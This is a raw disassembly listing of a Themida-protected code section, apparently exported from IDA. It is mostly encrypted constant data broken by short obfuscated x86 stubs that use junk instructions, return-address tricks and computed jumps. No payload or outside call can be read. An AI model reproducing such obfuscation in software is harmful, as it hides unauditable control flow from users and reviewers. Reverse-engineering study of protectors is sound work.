9A8C4255h, 310FD98Bh, 10106D8Dh dd 0EDB5FF06h, 6A061011h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 4122C355h, 9F03D4EDh dd 0FC58AB00h, 2DB995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 588B3BC3h, 44374F89h dd 95FF006Ah ; --------------------------------------------------------------------------- leave xor [eax], edx loc_5D000F: ; DATA XREF: Themida_:0054E6F4o push es mov eax, eax jmp short loc_5D007C ; --------------------------------------------------------------------------- db 90h db 40h, 0DAh, 0FEh dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0BB466CD3h, 0E83462C8h dd 3FB310A1h, 411276D7h, 23A6FBFDh, 585CC37Dh, 0F3CBBD80h dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0EF0D78D3h, 0DC014AADh dd 682BCE00h, 0F8BE79AFh, 0A454CA00h, 23D7025Fh, 0D87CFEFCh dd 3E3613D3h, 6199DC48h, 349FD76Eh, 2AC89337h, 88CB742Ah ; --------------------------------------------------------------------------- loc_5D007C: ; CODE XREF: Themida_:005D0012j jmp short loc_5D008E ; --------------------------------------------------------------------------- align 10h dd 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D008E: ; CODE XREF: Themida_:loc_5D007Cj mov eax, eax cmp dword ptr [ebp+610158Dh], 0 jnz short loc_5D00A2 cmp dword ptr [ebp+6100095h], 0 jz short loc_5D00BB loc_5D00A2: ; CODE XREF: Themida_:005D0097j push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6100E65h], eax lea ebx, [ebp+612B815h] call ebx pop ebx pop eax loc_5D00BB: ; CODE XREF: Themida_:005D00A0j cmp dword ptr [ebp+6100095h], 0 jz short loc_5D00DB push eax push ebx mov eax, 42Dh mov [ebp+6100E65h], eax lea ebx, [ebp+612B504h] call ebx pop ebx pop eax loc_5D00DB: ; CODE XREF: Themida_:005D00C2j or edx, [ebp+6102D7Dh] push 0 push edx call sub_5D00EC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D00EC proc near ; CODE XREF: Themida_:005D00E4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5D00EC endp ; --------------------------------------------------------------------------- dd 4A0F0E02h, 8B3D43EBh, 8E9C0h, 0B66C0000h, 0A764D570h dd 8D8BCF16h, 6100B5Dh, 437DCE81h, 0F98365DEh, 6A840F00h dd 8B000000h, 1016AD95h, 3D8B6406h, 2Ch, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C5C35545h, 50517968h dd 62B288EAh, 840FFF0Bh, 31h, 219D89h, 3F8B0610h, 9E8FCh dd 0BE670000h, 920742DEh, 66DF1677h, 0EF4E681h, 0E9C0325Eh dd 5, 0EA63B6B1h, 29AAF3B9h, 100B91B5h, 41493506h, 85C65350h dd 61023E5h, 0F98D8947h, 68061009h, 7399E022h, 5EF28B51h dd 0A240481h, 6A693CA8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 37D8C352h, 894C7057h dd 1016A18Dh, 45B5FF06h, 6A06101Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B2F7C357h dd 0D847995Ah, 0D2BA8E34h, 8D44C2FAh, 13858A85h, 51858906h dd 8B061021h, 102379B5h, 6AD0FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A31AC352h dd 0A90AED07h, 0D4D153FDh, 18A1B58Bh, 85890610h, 6100F95h dd 0EE9h, 0B9A40E00h, 985A8B6Dh, 41560839h, 0C64535D9h dd 1023E585h, 6A5306h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 5FEE5BC3h, 8691FCECh, 6800F5Dh dd 8B000000h, 102D0D95h, 0EE906h, 0A8EB0000h, 0A26CEF46h dd 682A1658h, 0C362B174h, 2A199D89h, 18680610h, 0BADBE5A0h dd 41A22692h, 0E4243481h, 1537DCAh, 101FED95h, 45B5FF06h dd 5606101Dh, 5ED2BF0Fh, 8A858DF9h, 6A061385h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 2353C356h, 8F0FF158h, 6, 2F69958Bh, 0D0FF0610h, 1FAD9D89h dd 858D0610h, 61345E6h, 9FAABE56h, 0F55E41F7h, 6B98589h dd 8E80610h, 39000000h, 75F29051h, 606B6289h, 89C68B66h dd 100D3D85h, 6A5A6106h, 0FFFF6A20h, 1006B995h, 41493506h dd 85C75350h, 6102969h, 1, 148D85C7h, 610h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0B5205DC3h, 578F9A98h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0C3C35141h, 36E62F86h, 0BD858BEBh, 0E906101Fh dd 13h, 8288ACC4h, 66169C68h, 0A42E8449h, 0C70D4059h, 6413607Ah dd 0A3h, 5AA3BE00h, 0BD831A33h, 6103105h, 77840F00h, 0E9000000h dd 12h, 0A263AE3Ch, 22108AF5h, 50BF78C5h, 97AB2DE8h, 858B902Dh dd 6100849h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 8DC35747h, 0F30996FBh, 0B9D6813Fh, 8B734C35h, 50006AE0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE97597h, 8B000000h, 778480C9h, 0C17F1EC8h, 0EA65C71h dd 0BD83282Bh, 610116Dh, 55850F00h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 29CEC351h, 7B9010C8h, 7E985h, 778A0000h, 0C792777Eh dd 0E585C679h, 56061023h, 8468D38Bh, 0BEC35577h, 4D24912Ch dd 5B243481h, 6A6A9047h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 8DE2C352h, 81403592h dd 0CA81D1EAh, 45B5FF33h, 0F06101Dh, 858DF6BFh, 613858Ah dd 0FFCED680h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 9D5ECA6h, 100B71B5h, 5DB58B06h dd 9006101Eh, 505081B2h, 66310F52h, 5A4A78BAh, 8D8D9058h dd 61015A5h, 469AAFBEh, 65958921h, 91061020h, 5E857h, 0F7C70000h dd 66C57F02h, 5A5031BEh, 8E9505Ah, 7E000000h, 0E1E1C0BBh dd 919D71B0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 1DC35141h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 666031C3h, 47EBD781h dd 565BD01h, 68610610h, 0EA3D5F02h, 81D08B66h, 0B0FE2404h dd 858915C2h, 61030D1h, 1FD5B5FFh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 17E7CCC3h dd 50B4C178h, 0B960DF37h, 2D4DDE25h, 61F8BF0Fh, 11E8h dd 4527300h, 5B05118Fh, 12E538ECh, 0D36FAA2Eh, 0BE8C158h db 3 dup(0) byte_5D05EF db 46h ; DATA XREF: Themida_:0054D748o dd 0A04AF3Dh, 849E815Ah, 6E98185h, 13000000h, 84321F7Ch dd 505A5E99h, 12E8h, 3B56E200h, 68088B0Bh, 0F3379462h dd 2BF1542Dh, 18BF315h, 1022DDB5h, 0FF5A5A06h, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8A0F150Bh, 0Ch, 6850Fh, 958B0000h, 6100729h, 8BB6F680h dd 101FD5BDh, 1DB58B06h, 3061020h, 0D08B3C7Fh, 0F8C781h dd 9D890000h, 6100E21h, 202447C7h, 0F600000h, 8Ah, 13BD8300h dd 6184Ch, 111840Fh, 95030000h, 6103161h, 5628C783h, 7C75AF9h dd 64696A2Eh, 25958B60h, 6606101Fh, 0C761FB8Bh, 74610447h dd 0F600061h, 688h, 1D958900h, 89061020h, 100089BDh, 0B58B6106h dd 6100255h, 4C1B858Bh, 0F08B0618h, 6A0C4789h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0B780C352h, 5217CC5Ch, 249BD89h, 295A0610h, 10211D8Dh dd 1F858B06h, 8906184Ch, 1001319Dh, 9E806h, 7A0A0000h dd 0D195A6D5h, 8161A9A6h, 159694F2h, 47895E03h, 0D18B6608h dd 6628C783h, 9533F28Bh, 6103161h, 632E07C7h, 0E6816E6Fh dd 5184DA6Bh, 660447C7h, 89006769h, 102F7195h, 17858B06h dd 6A06184Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 920BC355h, 885CD333h, 0C478952h dd 13858BFCh, 3106184Ch, 1029F985h, 8478906h, 8C0FF560h dd 4, 0EC1EBA66h, 0E5B53361h, 58061030h, 8D8D5A52h, 6102EA5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 94C35646h dd 3356B86Dh, 102781B5h, 0E9505A06h, 0Bh, 3E1106ABh, 3E936DF1h dd 8928C903h, 6A240Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 53EE51C3h, 2861B58Bh, 0E95E0610h dd 0Dh, 0F7434571h, 0E6DB188Eh, 0FB4AFF6Ah, 0A5B5FF45h dd 8B061015h, 100A95B5h, 86F6806h, 0AE940F3h, 83000000h dd 829AADFFh, 0CF400BD2h, 24348132h, 40F3186Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0E807F84Bh dd 69B50B7Ah, 0FF061031h, 101FD5B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 14BCB2D9h dd 29639D6Fh, 101D51B5h, 0C1806006h, 0C58503A7h, 61061009h dd 958BD0FFh, 61010BDh, 0B8h, 0BD38B00h, 24840FC0h, 8B000000h dd 10276DB5h, 8DB5FF06h, 0E9061030h, 7, 0A1645F36h, 0FFC370B4h dd 102DB995h, 51B50106h, 8B061031h, 41B533C0h, 83061002h dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h dd 42DB8C0h, 85890000h, 610132Dh, 0B87C9D8Dh, 0D3FF0612h dd 0BD83585Bh, 6100095h, 50177400h, 42DB853h, 85890000h dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 9589585Bh, 6101F9Dh dd 68C0Fh, 0E6810000h, 48EE748Dh, 8166C08Bh, 661B36E6h dd 0C08BF78Bh, 0BE9h, 5F41C200h, 18h, 0 ; --------------------------------------------------------------------------- jmp loc_5D0EA2 ; --------------------------------------------------------------------------- db 38h, 96h, 53h dd 71A860D7h, 4E873EBDh, 6BA85BDAh, 85C468EFh, 35A7E3C9h dd 61D85493h, 3CBB6FB0h, 88F4B86h, 0BBAE2A5Fh, 2878CAC1h dd 3F9C6BD4h, 44793275h, 0BD973950h, 36F2CE09h, 1FD308BFh dd 1520204Dh, 0A159BB33h, 23580FCCh, 79B0586Fh, 805A0E8Dh dd 81E591C8h, 711AB165h, 0CE75483Ch, 2A989337h, 0CA6DCCDFh dd 897724Eh, 0EA1FC869h, 843E76Eh, 0E621C554h, 0A9EA9B3Ah dd 255C04D7h, 0B54C5648h, 3873171Eh, 7E4EF584h, 0C0B490C5h dd 0CCDF2C99h, 2DC4F36Dh, 6A9305C8h, 3DE67533h, 877BBC6Dh dd 57DBC7ABh, 76CE82h, 0D73C0000h, 7C4002A9h, 0C8A46DCCh dd 7C4FF3B6h, 0CBA76DCCh, 407E25AEh, 0EEFC0A57h, 0A24E729Fh dd 0CC8D4DF3h, 56EDCE6Dh, 6A453A93h, 13C1AA33h, 0C0D044BCh dd 1011B794h, 2F000000h, 70E85A51h, 100C6DCCh, 0C8BCF399h dd 32B58F6Ch, 0DD4F437Ah, 52700DF0h, 6E8BCCD1h, 1C083FE5h dd 0B6F59722h, 0CA9166CAh, 813CE825h, 0EAA28322h, 6E2299B3h dd 15A41A2Fh, 0E785396Eh, 225F04D7h, 9BDA8E45h, 0F838F0E7h dd 5E0E9449h, 2EE2FE37h, 8AAB4A59h, 4933A7E6h, 33CE7437h dd 0F5F16DCCh, 26C966B3h, 0D087E39Bh, 4F0CE118h, 77896398h dd 0CC2B0EB4h, 6D8AE66Dh, 3A731AB1h, 0CF661D46h, 8C36F50Bh dd 686DCC2Bh, 0F528EF0Ch, 0D5336ADCh, 73h, 6104D737h, 0B0557420h dd 0B57E5B77h, 4E20D413h, 0F29ED58Bh, 2BE2596Eh, 546BFEF2h dd 0EFA219BDh, 9D9BC2A5h, 0F332731h, 71EAFF63h, 0F2CC80BFh dd 9A91C467h, 6DCC2D28h, 807450CCh, 580CC7A4h, 0B96E6D19h dd 0A4DF887Ch, 0E335E80Dh, 4C15336Ah, 77000000h, 533F7E32h dd 0D7AB62D9h, 290DF932h, 0FFA3304Dh, 7E2FAAC4h, 8B5E203Dh dd 70141DB4h, 32EF7D31h, 84F437Ah, 6DCC7CBFh, 0EEA2D790h dd 7FB30D7h, 48740BB4h, 48CEFF81h, 26970FFBh, 7C13A8C5h dd 6A9F3879h, 11833h, 32720000h, 0C605A77Bh, 2BDF56DAh dd 0A920D4F0h, 6ED4D702h, 866DCC7Ch, 0BBDAC6AAh, 0BFD6CA09h dd 0A625D10Ah, 57DBC7FEh, 0F130CF70h, 71E3FF40h, 4B0223C2h dd 7CD56D1Ch, 35316DCCh, 0B1489D11h, 0E389502Ah, 0BD7CF8ACh dd 0E4FCD106h, 0FC06C425h, 0CBBEA067h, 94238A77h, 30E425C8h dd 7DD73C34h, 147AE2ECh, 39E9FEE2h, 0F398233Dh, 612FF6ADh dd 668AD5DEh, 4DF69591h, 6E15A418h, 0A61E4D39h, 9B94233Bh dd 1BC46D04h, 3CE372E6h, 0C37C1B07h, 7E47D585h, 6185F8E3h dd 5E80D8B5h, 234717ABh, 34D8EF94h, 27FCD1F5h, 0CD02A988h dd 0FA834E11h, 7163397Bh, 0A9000001h, 1D15BD5Ch, 0C2FFA4BDh dd 24C84095h, 4E7B2E40h, 7667FCC5h, 0C521A188h, 69C5943Ch dd 0B8928E94h, 0C55FE3A6h, 0BBB7943Ch, 0C558EAA1h, 60BC943Ch dd 43FC9B8Bh, 33522805h, 0A6791Bh, 9C5A1C5h, 0E1B3637h dd 493C1344h, 0CB00A734h, 0D207C0D7h, 0BB5A691Eh, 12E49C1Fh dd 293E225Bh, 8C4F9B2h, 99823536h, 6A8AF6DDh, 0DF93AEBh dd 824B5429h, 62397B30h, 50h, 1AC15CA8h, 7CD94940h, 0F2DBEDCCh dd 0F2B5C9A6h, 0A16176EFh, 1C550CCFh, 0A51D0C68h, 41EDCC54h dd 461501E5h, 0EDCC54FCh, 0CC8322E1h, 0D9D0AA31h, 6DCC5449h dd 633DF16Dh, 54348E7Dh, 54D06DCCh, 0B2CA77h, 0F5F60000h dd 0DF00DE57h, 0C4607D5Ch, 110296D7h, 1F6D3C59h, 22471D10h dd 491E422Fh, 0ACBE1DBCh, 2A3F782Dh, 81432856h, 7D16DE40h dd 0A1DA8F46h, 94BADFCCh, 0D04C67FCh, 0C9FEA524h, 467B24B7h dd 3D01D65Ah, 50C705BEh, 0ACE307AFh, 0EAB16581h, 943CBD5Fh dd 8D942B14h, 0D82DA1D6h, 0C9C09A41h, 9E046E43h, 0DCFBA783h dd 2DCEE23h, 1416BB07h, 0BE645B9Eh, 9C8A5F83h, 630F48FDh dd 9A86BB64h, 9B21C0DFh, 64FB9A29h, 8A748655h, 0A04818CFh dd 0B3708D69h, 942CBB35h, 3E7B30ABh, 9F9CE52h, 0B99EDF92h dd 10167D45h, 0B8745099h, 71B253E6h, 0CCA185h, 4C1EBD5Ch dd 0F4D1DF5Dh, 0F09BC567h, 942BD052h, 0E1A1B6B2h, 51FA9185h dd 7219A01Ch, 64F7493Dh, 0BA7186BBh, 0F660BB5Eh, 4CD56C53h dd 6BEA5E93h, 0F4937FB4h, 745E124Fh, 1DA5647Ah, 32B66CECh dd 0D34F437Ah, 992A3F1Bh, 4F843BFAh, 6EA35CDBh, 31182h dd 5F6B0000h, 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h dd 3F7E32A9h, 51903453h, 448126A5h, 5B943950h, 417830A7h dd 8952CF55h, 4C281E2h, 56000000h, 4BEh, 5EF22900h, 5C241487h dd 7D3368h, 24048900h, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 68242C89h, 61854FAh, 8324048Bh, 0A06804C4h, 89000006h dd 4832424h, 515D0424h, 8B9h, 52E90100h, 1189C289h, 2C8B595Ah dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch dd 4C48158h, 0E9000000h, 0FFF8263Ch, 6226165Ch db 32h, 69h ; --------------------------------------------------------------------------- loc_5D0EA2: ; CODE XREF: Themida_:005D0960j mov eax, 61859B7h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 61h dd 75620362h, 0C6274EC9h, 813A57BEh, 521F334Ah, 9A124F4Eh dd 5123F475h, 73727A96h, 0B172DAFFh, 276A7803h, 0AC096F8Bh dd 0FD29B2E2h, 781E4640h, 871DA668h, 566FFF26h, 5620D338h dd 97755D2Dh, 2E2D5CECh, 552ECFB0h, 0E9539356h, 24h, 171E1911h dd 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D146A ; --------------------------------------------------------------------------- db 78h, 0D6h, 93h dd 0B1E8A017h, 8EC77EFDh, 0ABE89B1Ah, 0C504A82Fh, 75E72309h dd 0A11894D3h, 7CFBAFF0h, 48CF8BC6h, 0FBEE6A9Fh, 26B80A01h dd 7F5C6BD4h, 0DD468469h, 7A26EE11h, 4D7C75Dh, 9DD68B5Bh dd 94698DE9h, 37EB20C7h, 5D12ECA0h, 0D4F07420h, 9D25E4FAh dd 796DCC7Ch, 8456E0FDh, 2DD90EB5h, 7CEA5853h, 0E0A6DCCh dd 0E59E1532h, 691B9EB0h, 0DDFA762Ah, 0CC01AA21h, 65DDCCB2h dd 816DCC7Ch, 0BFD6C8A5h, 58933709h, 0CEF5887Ch, 35EE37h dd 0DE19CD4Ch, 0FC37EB6Ah, 4E09108h, 0C2802B60h, 226DCC7Ch dd 0F8AB2A46h, 876BC7BBh, 0D9637875h, 5ED902F8h, 780B9D89h dd 77B258D9h, 568B34C3h, 6042FBAAh, 0F6C56DCCh, 1A579A5Fh dd 5437336Bh, 95000000h, 50447932h, 6DA65BDEh, 7C2D9390h dd 0CDEE6DCCh, 365AB336h, 13A336Bh, 90000000h, 4F437A32h dd 0AD599038h, 483C792Eh, 0AE629D51h, 4A367517h, 0C60AA958h dd 0EC35CCF3h, 0BA41FD34h, 7E60DC11h, 0AF0C164Dh, 53CFC3F8h dd 0D6138666h, 0B96DAE5Fh, 3204A0BDh, 34533F7Eh, 0ECA1558Ch dd 57F938D7h, 6E15A418h, 974E4D39h, 1E51EC3h, 6DEC4415h dd 0D76C81B6h, 661B9E38h, 0E0FD792Dh, 6B33E617h, 71C633h dd 0D7040000h, 0E2866004h, 4FD3BFA3h, 0D00FC17Ah, 0C700A524h dd 60FFA0DBh, 5CD00FC1h, 3C14B782h, 7C284C85h, 0B458E3F8h dd 650A8175h, 0DE835628h, 5875F1A5h, 0B883FDA6h, 4126DA0Fh dd 8B1D903Ah, 0E4F9DD79h, 7C45A03Fh, 5C336AA0h, 62h, 0A47E32AEh dd 50D4C001h, 65098074h, 9C83762Ah, 29681C05h, 26B5CBB5h dd 0EC564580h, 86DCC7Ch, 0D7754F2Ch, 74206104h, 0A860DBF0h dd 7C32907Bh, 56D26DCCh, 66DF867Ah, 0A96DCC7Ch, 4002A9D7h dd 0A46DCC7Ch, 173B7C2Dh, 27C26142h, 336B35E6h, 0DC6h dd 0DA93B800h, 744E751h, 0EDDB73E2h, 7B323410h, 2DC4E42h dd 7C952DDCh, 0F5716DCCh, 0CC7CBC06h, 2DC586Dh, 0CC7CBB07h dd 0EAFF5B6Dh, 9185BA71h, 4CD56C07h, 0FEE05C95h, 4C0313CDh dd 2439C523h, 1A032C1h, 0F27E560Fh, 41E802DEh, 67FC3DD8h dd 0BB7728Ch, 24943C4Dh, 0D551457Ch, 0E68A411Dh, 54D0D2A7h dd 4D8229A0h, 2C610A91h, 0A8E38752h, 0A36378FCh, 3C4D4CF4h dd 83220194h, 9AB4E9A2h, 0BD1F9AB1h, 76174DAEh, 1E54135h dd 3CE372ECh, 9A211B07h, 69CDB9F4h, 0F520C794h, 1AA2200Bh dd 0E642943Ch, 3C1A833Fh, 0B86C6394h, 0CDA98D79h, 2A9D7A9h dd 943C1A40h, 3A45256Fh, 9F4F8415h, 51458428h, 2CDFF1D5h dd 943CCA96h, 29D5F26Eh, 71B04F74h, 0F06B85BAh, 73EB0039h dd 7A8065A8h, 1254539h, 5C870000h, 5D4C1EBDh, 67FC266Ch dd 12B38658h, 5A4125D1h, 9423AAE8h, 473B100Ch, 0DE277DE2h dd 0D3ADB2Ah, 13138A48h, 792D499Eh, 0B874A962h, 11BA8A41h dd 8D0CF8DCh, 98F5A1D6h, 1EC56C03h, 0BB8A38F3h, 0EE6A9423h dd 478456D2h, 0D3ACDFA7h, 4564890Bh, 0D5C31276h, 0F6B7C09Dh dd 66397BEEh, 0B45A2ED3h, 0CDA98D79h, 0C8805DD9h, 27h dd 1AC15C42h, 7CD94940h, 21FDEDCCh, 7C9C2675h, 8241EDCCh dd 8A516CE3h, 7C29B970h, 51CD6DCCh, 916CDDh, 5CE00000h dd 0A6DD83BDh, 90F9B0CAh, 5467FC0Ch, 93C37F2Ah, 47239423h dd 0F47032h, 6BE3D2Eh, 0DDCA8399h, 578C3300h, 5ED4F9E3h dd 1025F984h, 0FAB12A3Fh, 574B822Ah, 0E8E5F7DBh, 1587D7D4h dd 88765331h, 230C66E1h, 0AF46DD94h, 34A8DD86h, 0CD75344Ah dd 2994230Ch, 0CEC2FBB2h, 0C596E52h, 2DDCEEEDh, 9E1BA600h dd 576E22FEh, 7F617BB0h, 1B69368Ch, 0D352CE9Eh, 28D6F330h dd 0EF6C03BEh, 620EEAE8h, 0EFA36D4Dh, 2512F9D3h, 0E19423C0h dd 5C43C985h, 5D4C1EBDh, 67F4D670h, 0FD3AED6Ch, 4A502D09h dd 0FCA322CEh, 0DB8413C7h, 0B2ABFAA6h, 69E52153h, 0D17ABB5Ah dd 5A506F93h, 144D7AB3h, 0B02C480Eh, 1B580BCEh, 99CE753Eh dd 595A93EDh, 13A6FAB2h, 337931B5h, 54D01406h, 0D6F334D5h dd 19D2AA5Dh, 6BEE00E4h, 8BE7DB6h, 805DD9CDh, 9F1A147Eh dd 99AAFECh, 47E9706Ah, 43181C08h, 1E9ACF78h, 0C7BBF097h dd 0CDEh, 215F2E00h, 2C2A2F2Ch, 0ADCAE896h, 3D803217h dd 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h dd 448126A5h, 5B943950h, 417830A7h, 1468CF55h, 8900002Ch dd 6E68240Ch, 8900007Bh, 6A68243Ch, 89000003h, 3CBF242Ch dd 525D2714h, 230923BAh, 81D2F767h, 8D6CCDC2h, 95C28173h dd 291F44C7h, 0F74F5AD7h, 3E7C1DFh, 587FEF81h, 0EF8165CDh dd 85B04DFh, 4EC81h, 24890000h, 24048124h, 4, 4EC835Dh dd 0BA241489h, 8, 3A89EA01h, 242C8B5Ah, 81E18951h, 4C1h dd 4C18300h, 5C240C87h, 52243C8Bh, 0C281E289h, 4, 8704C283h dd 0E95C2414h, 0FFF82070h ; --------------------------------------------------------------------------- aam 62h loc_5D146A: ; CODE XREF: Themida_:005D0F20j mov eax, 6185F6Bh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 91h dd 9B16540Bh, 0E1012CD7h, 0AA3AEACBh, 0C823F196h, 5B33D13Fh dd 41680ACAh, 0E423362Bh, 4D1466B8h, 3C146728h, 0AE0ABA3Ch dd 6336C7C3h, 0A21373E0h, 0F503C020h, 8A5C8A2Ah, 10510372h dd 2201F787h, 0C534404Bh, 780A0D9Ah, 0BF41C910h, 5068961Eh dd 0E8762646h, 2D0C19C1h, 0AB687ADCh, 970E670Bh, 2D68A9CDh dd 0E81018B3h, 0Eh, 0B10CE1A5h, 0BF03B48Ah, 0C11A4B35h dd 8A0F15C6h, 5, 2C5624BAh, 9E95B40h, 0ED000000h, 393E89D9h dd 58EDDDC6h, 5EAEC381h, 0C0810000h, 58505A5Bh, 0CB8AF62Bh dd 801E34FFh, 665F47C5h, 0EF81C38Bh, 1ADF19B6h, 0C781D38Ah dd 76E0950Eh, 81D1B70Fh, 1818BBEFh, 0F8E0F3Dh, 0E9000000h dd 0Ah, 8EDF2232h, 0ACABA4B0h, 3C89D741h, 81D48033h, 8304F680h dd 0C88B04EEh, 0A1E8FE81h, 850FFFFFh, 0FFFFFFB0h, 9E8h dd 23400F00h, 9643EEF7h, 0BF0F8281h, 8D8D59C8h, 61861E1h dd 9F58D89h, 0F9F90610h, 231985C7h, 6E100610h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 9C7101C3h, 8C7FF3C9h, 65B58B01h, 0C7061009h, 1022C185h dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 5790DCB1h, 95DF8193h, 66569EEAh dd 0B5FFF38Bh, 6100865h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0E2C35646h, 8E955D1h, 0FA000000h, 9EE43CE3h dd 0FFB8CDF1h, 102DB995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 78917644h dd 0FF006AABh, 1031C995h, 0EBC08B06h, 0AB4B8459h, 799797C5h dd 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h dd 3E140D67h, 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h dd 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h dd 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h, 6C4E0841h dd 8D8D30F3h, 61862F4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 75C35646h, 850BDB8Dh, 6100159h, 9F58D89h dd 8D290610h, 6101069h, 231985C7h, 5EF80610h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9509BAC3h, 6102361h, 31A59D89h, 85C70610h, 61022C1h dd 0 ; --------------------------------------------------------------------------- sub [ebp+6102D01h], edi push dword ptr [ebp+6102821h] cmc call dword ptr [ebp+6102DB9h] push 0 push eax call sub_5D173A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D173A proc near ; CODE XREF: Themida_:005D1732p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5D173A endp ; --------------------------------------------------------------------------- dw 57E5h dd 0DB19B88Eh, 95895671h, 6100CA9h, 95FF006Ah, 61031C9h dd 4AEBC08Bh, 7A3F60F6h, 0C9F9FA8h, 0D0F64717h, 6DD4B708h dd 9187C9F8h, 87FC9A7Fh, 8002FEAAh, 7F02F7C7h, 0CB0C33C5h dd 0E6CABA60h, 88467B3Bh, 7B4077ECh, 0D9A7FDD5h, 7ADB0CA3h dd 0A725E15Ch, 0D3AD3B1h, 113C9EA9h, 6EF9FC94h, 11E8C59Fh dd 0B8000000h, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 9A99E8Ch dd 1CA59D8Bh, 0F580610h, 68Bh, 359D8B00h, 81061016h, 6292C0h dd 81B58B00h, 0B9061010h, 41B7B827h, 0A04BF181h, 6E841B7h dd 90000000h, 0DFB64522h, 0ED9D8BB2h, 5E061027h, 0F781388Bh dd 48A44C27h, 20E1958Bh, 0EF810610h, 73E785CBh, 30E68166h dd 7DC78189h, 0F5634EC7h, 0C7EE8157h, 8F0A2C71h, 59958900h dd 81061021h, 0CBD1E4E8h, 6E87Bh, 16370000h, 31677D9Fh dd 15D58D29h, 815A0610h, 0CBD1E0C0h, 68D0F7Bh, 8B000000h dd 1010D59Dh, 1E98306h, 1C850Fh, 0B5890000h, 61001EDh dd 2CE9h, 0C1284E00h, 20B84F44h, 0DD983E86h, 6261455Fh dd 8B663713h, 0FF7AE9D8h, 0D44AFFFFh, 43BFE176h, 0F2A397B1h dd 0DFA3B296h, 0E91F3959h, 0FF8D8D91h, 0E9061864h, 9, 9805FCE0h dd 2703DCCAh, 0F58D899Eh, 6A061009h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8A22C356h dd 1985C7FCh, 0E0061023h, 6A00005Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F8EBC352h dd 11E8EAA7h, 0B2000000h, 0B491BAA1h, 4C2E9CE0h, 6A42139Fh dd 8EADAB33h, 167D9D89h, 0C75E0610h, 1022C185h, 6, 3EF8000h dd 30C5B5FFh, 1BB70610h, 2DB995FFh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0F37237C3h dd 705CDB7Eh, 8BBF401Bh, 100E9D9Dh, 0C5958906h, 6A06101Eh dd 0C995FF00h ; --------------------------------------------------------------------------- xor [eax], edx loc_5D196A: ; DATA XREF: Themida_:0054BE60o push es mov eax, eax jmp short loc_5D19AB ; --------------------------------------------------------------------------- db 6Bh dd 